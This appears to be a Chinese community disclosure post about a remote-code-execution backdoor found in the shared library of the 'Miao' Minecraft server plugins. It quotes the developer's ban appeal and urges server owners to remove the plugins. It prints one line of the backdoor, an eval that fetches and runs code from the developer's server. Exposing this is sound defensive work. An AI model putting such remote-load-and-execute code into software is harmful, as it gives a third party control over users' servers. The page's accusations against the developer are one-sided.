关于喵呜系列插件后门这件事

有的链接用了国外的永久快照服务,可能打不开,请魔法上网。
如果你有什么想提交的资料,请发送至 event_miaowoo@proton.me, 我们会保护好你的隐私安全。

时间线

所以是怎么一回事?

喵呜,也就是 yumc圈云盒子游戏时刻 的持有者,MC圈圈钱大手子,曾经在 MCBBS 发布了一系列以 Miao 作为插件名前缀的服务端(Bukkit)插件。这些插件共用的基础库在 2022年04月12日 15时47分18秒 被植入 RCE 程序,然后在一年之后被热心网友发现并且公之于众。

如果你正在使用喵呜系列(即 yumc 或 MIaoWoo 发布的)的任何插件,我们建议您立即寻找代替品或检查资产是否有损失

这些插件包括但不限于:MIaoBoard, MiaoBlockly, MiaoChat, MiaoChatRGBSupport, MiaoConsole, MiaoMenu, MiaoNashorn, MiaoLink, MIaoLobby, MiaoRebate, MiaoRobot, MiaoReport, MiaoReward, Multikills, YUM

龙之时装尚不清楚是否移除了 RCE.

同时我们不建议您继续订阅喵呜提供的 VPS 服务(游戏时刻/GameTime.ICU):yumc是否有权力托人发布交易代理贴

RCE 是什么?

RCE,Remote Code Execution,即 远程代码执行 。只要你运行了 RCE 客户端的代码(例如上文提到被植入危险代码的插件),对方就有权对你做任何事情,包括但不限于:

  • 访问并删除服务器上的所有资产,例如服务端,配置文件。
  • 感染其他插件。
  • 找到你是谁。

噢,听起来真恐怖。
RCE 能做的远不止这些。从原理来说,就是从服务端下载了一段代码并且在本地运行,而这段代码的内容可以是任何东西,哪怕是一个勒索病毒 :)

那么,喵呜为什么要加入 RCE 呢?根据龙之时装开发者的说法 (白龙, 喵呜), 他们放入 RCE 是为了实现 "正版验证"。

所以放入 RCE 实现正版验证到底行不行得通呢?其实是可以的。Java 程序逆向的难度相对较低,通过这样动态加载的方式的确可以加大破解难度。

但是,使用 RCE 产生的问题有两个,就以喵呜来举例:

  • 信任问题 先不提知情问题,谁知道在这一年间,你没有放点别的进去?
  • 没啥用 这个验证很容易就可以被移除掉,与其说验证不如说就是后门。
  • 理由不充分

他说 未在论坛发布的付费版本有验证是否是正版插件的功能 的目的是不够充分的。既然他在论坛外我们暂且不管,但是如果是付费插件的检测,为什么必须要写到 YumCore 里面?YumCore 相当于所有喵呜插件都要用的工具箱,往工具箱里面下毒他自己就没想过误伤的后果?

其次,喵呜插件使用 RCE 实现反盗版的方式非常炫酷:

engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')"); 

src

对于部分人疑惑为什么反盗版要用RCE,只能说这是一种最简单有效的方案,在被破解后可以快速升级更新。 呢。

常规的用 RCE 保护插件的方法实际上是把插件的一部分上传到云端,运行时授权下载回来(例如几年前的 CatServer Pro 就是这个原理),喵呜这个把加载的部分删除掉就废了,根本算不上什么有效防御

所以呢?

但是这件事情没有结束。按照BBS插件版版规:

3-2:

  1. 不能插入后门代码,例如设置op,改变模式等,惩罚为永久禁言+晒尸1周
    不得以后门未启用为借口放入后门
  2. 不能故意发布存在漏洞的插件,并引导购买/站外下载无bug版本,惩罚为删帖+扣除2人气1贡献
  3. 插件不得对玩家的密码进行明文/或可解密存储/上传详见: 公告

也就是说,如果你放入了后门,无论有没有启用(喵呜这里 RCE 说没放 malware 就是一个例子)都是不可以的,而且要 永久禁言+晒尸1周,但是这次没有,而且被解封了

考虑到读者可能没有权限访问申诉帖子,这里贴出来:

申诉ID:yumc
封禁原因(同时给出手动封禁提醒):违反插件版规在插件中存在远程代码执行。
申诉原因:
尊敬的论坛管理层,以及各位坛友,你们好。
对于在插件中存在反盗版功能的事情,我很抱歉,引起了大家的恐慌,给大家带来了不便。
MiaoChat由于存在付费版本,导致在某次升级时,不小心打包了反盗版模块。
此模块对于免费插件没有任何影响,并且存在期间未造成任何危害。
至于反盗版为什么要用明文代码,只能说防君子不防小人而已,没精力和破解插件的人死磕。
对于部分人疑惑为什么反盗版要用RCE,只能说这是一种最简单有效的方案,在被破解后可以快速升级更新。
现在大部分付费插件都是使用远程在线加载的方式实现的。例如DS插件 若萌插件 楠木星球插件等。
另经过对MCBBS所有插件的排查,其他在MCBBS发布的插件版本均无携带反盗版功能。
目前已完成所有对MiaoChat反盗版功能去除工作,解封后会重新发布。
相关代码会更新到Git上,各位可以重新下载新版插件,或者自行编译使用。
后续我将把一些付费插件去除反盗版功能后进行免费发布,当做是福利。

希望论坛考虑到本人多年对MC圈的贡献,也请大家,再给一次机会。
申请解除封禁/减刑--时间:申请解除封禁

就我所知,目前上市面大多数用 RCE 做反盗版的都是上面提到的"常规"做法,虽然在 bbs 也不可取。

至于这个 "不小心",我再重申一遍:YumCore 相当于所有喵呜插件都要用的工具箱,往工具箱里面下毒他自己就没想过误伤的后果?

而在喵呜申请解封的帖子下,不到三分钟后 jiongjionger 的回复:

逆向看了代码实现和远程代码的载荷。

总结如下:

  1. 发现指定的龙核时装激活码,关闭服务端并提醒使用了盗版激活码;
  2. 发现指定的MM怪物、龙核配置、喵斗罗端等、guid匹配上,执行远程代码给于提醒;
  3. 发现本地测试端等用户的QQ匹配,执行另外的远程代码给于提醒;

这里的分析大致没错,被抓到的时候 RCE 负载的确是这样的。

本质上是做一些付费版的插件与服务端再出售、滥用的事后防御。
为什么要远程执行?因为滥用的激活码需要动态更新加到判断规则中去。这本质跟插件联网获取用户激活码、UUID黑名单没有本质区别。

在用户的电脑上做任何事情和正版验证是两件事,不要混淆。

后门还是要看怎么定义,之前争论的本质其实是“程序正义还是结果正义”的问题,版规禁止执行远程代码的初衷肯定是担心后门安全问题,但是就目前的实现和历史快照来看,均没有任何恶意代码。

不算他多出来的两个月,一年三百六十五天你是不是全部都有快照记录?

严格来说,自动更新甚至手动更新让用户下载安装新版本的插件,也是完全可以携带恶意代码的,还是不能因噎废食。喵呜既没有夹带恶意代码的事实,也没有这样做的动机。

不提有没有这样的动机,他可握着所有服务器的把柄,哪怕你插件不更新他都能通过 RCE 让你服务器爆炸。

考虑到接近10年时间以来优质插件与长期对生态的贡献,完全抛开事实与情理一刀切永久封禁是非常不恰当的,建议给于更适当的处罚并及时更新无相关代码版本的插件即可。

圈钱你还敢说为生态做贡献呢

关于圈钱(摘自下方 MCBBS Wiki):

2021年2月,yumc搭建的平台圈云盒子被指出利用自动顶贴独占服务器板块获利[2][3][4]。

被多人举报,引发了大量讨论,回复最多的帖子共有122条回复,但此帖并没有得到管理员的处理。

2021年2月15日,yumc放置于签名档中大量的商业宣传内容被举报违规。涉及人民币购买“服务器提升卡”、“自动顶贴”、“提升卡代理商”等。[5][6]

但此帖并没有得到管理员的处理,后不明原因yumc签名档中的商业内容已被移除。

这就是比较有意思的地方了,为什么 yumc 要特殊对待呢?况且他已经不是第一次犯了:请各位服主注意,本站出现恶意后门插件!,属于是重操旧业。

熟人论坛。

服主要做什么

立即删除和喵呜有任何关联的插件,使用他们的替代品。

或者参考这篇帖子尝试屏蔽老版本的后门地址:https://www.mcbbs.net/thread-1454444-1-1.html
前提是不要使用最近更新的版本(2023.7.9)

延伸阅读

删除了部分内容。

img

ABlueCat_2

坛外没人管,但是到了bbs总得遵守bbs的规矩。

一些托管在 IPFS 的聊天截图:

欢迎随便转载,不欢迎断章取义。

Edit
Pub: 08 Jul 2023 16:30 UTC
Edit: 14 Jul 2023 16:03 UTC
Views: 1236